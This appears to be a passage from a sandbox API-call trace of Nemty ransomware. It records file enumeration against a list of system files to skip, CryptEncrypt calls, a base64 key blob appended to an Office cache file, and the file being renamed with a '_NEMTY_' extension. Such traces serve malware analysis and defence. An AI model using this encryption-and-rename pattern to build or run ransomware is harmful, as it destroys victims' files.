lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.769] Sleep (dwMilliseconds=0x5) [0049.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd15a8dd0, dwHighDateTime=0x1d561e7)) [0049.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd15a8dd0, dwHighDateTime=0x1d561e7)) [0049.777] GetLastError () returned 0x0 [0049.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.778] GetLastError () returned 0x0 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.778] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.778] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="tj22zIsDb+vlax3yELfoFkObw/TT00qc7jK1S4W/4a4v7QtUXOLhARrzjAyGgQZf\r\nFUPgCNNih0RHZuLKOlKnNUYn3tN5xqIEDexZ9V28f4/0exH2wcAmd3WxqnRB961p\r\nBSJ91cLPa8mXDuF3fPb0InERSbuqWUYhBwm5ozK/BkmGNeHvJorbkhfswoZRG+sN\r\ner5AR4z0O3gHujX9NnrRYKUskd+YpvV+6vmbLEkq7zLIoAUjf1uqPNwprtifcBx8\r\noV+U3cCj781DVATlNfrzOOaKWv+31PLTo1mDY+BSrvZQQTicDqeLoKSwKMd0wOv9\r\nzPgQyjDamdaZCFB/bEdNMg==\r\n", pcchString=0x653ef9c) returned 1 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.778] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.778] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16852) returned 1 [0049.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x41d0) returned 0x6346d48 [0049.779] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.779] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x41d0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x41d0, lpOverlapped=0x0) returned 1 [0049.781] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.781] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x41d0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x41d0, lpOverlapped=0x0) returned 1 [0049.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.781] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=16852, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x41d4 [0049.781] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.782] CloseHandle (hObject=0x3c8) returned 1 [0049.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0049.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.783] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml._nemty_kgobjgd_")) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.783] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0049.783] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".") returned 1 [0049.783] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="..") returned 1 [0049.783] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="...") returned 1 [0049.783] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="windows") returned -1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="$RECYCLE.BIN") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="rsa") returned -1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="NTDETECT.COM") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="ntldr") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="MSDOS.SYS") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="IO.SYS") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="boot.ini") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="boot.ini") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="AUTOEXEC.BAT") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="ntuser.dat") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="desktop.ini") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="CONFIG.SYS") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="RECYCLER") returned -1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="BOOTSECT.BAK") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="bootmgr") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="programdata") returned 1 [0049.784] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="appdata") returned 1 [0049.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW.cab", lpUsedDefaultChar=0x0) returned 11 [0049.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW.cab", lpUsedDefaultChar=0x0) returned 11 [0049.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW.cab", lpUsedDefaultChar=0x0) returned 11 [0049.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW.cab", lpUsedDefaultChar=0x0) returned 11 [0049.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.785] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="..") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="...") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="windows") returned -1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="$RECYCLE.BIN") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="rsa") returned -1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="NTDETECT.COM") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="ntldr") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="MSDOS.SYS") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="IO.SYS") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="boot.ini") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="boot.ini") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="AUTOEXEC.BAT") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="ntuser.dat") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="desktop.ini") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="CONFIG.SYS") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="RECYCLER") returned -1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="BOOTSECT.BAK") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="bootmgr") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="programdata") returned 1 [0049.785] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="appdata") returned 1 [0049.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW2.cab", lpUsedDefaultChar=0x0) returned 12 [0049.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW2.cab", lpUsedDefaultChar=0x0) returned 12 [0049.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW2.cab", lpUsedDefaultChar=0x0) returned 12 [0049.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPrWW2.cab", lpUsedDefaultChar=0x0) returned 12 [0049.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.786] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2=".") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="..") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="...") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="windows") returned -1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="$RECYCLE.BIN") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="rsa") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="NTDETECT.COM") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="ntldr") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="MSDOS.SYS") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="IO.SYS") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="boot.ini") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="boot.ini") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="AUTOEXEC.BAT") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="ntuser.dat") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="desktop.ini") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="CONFIG.SYS") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="RECYCLER") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="BOOTSECT.BAK") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="bootmgr") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="programdata") returned 1 [0049.786] lstrcmpiW (lpString1="setup.exe", lpString2="appdata") returned 1 [0049.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0049.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0049.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0049.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.787] WideCharToMultiByte 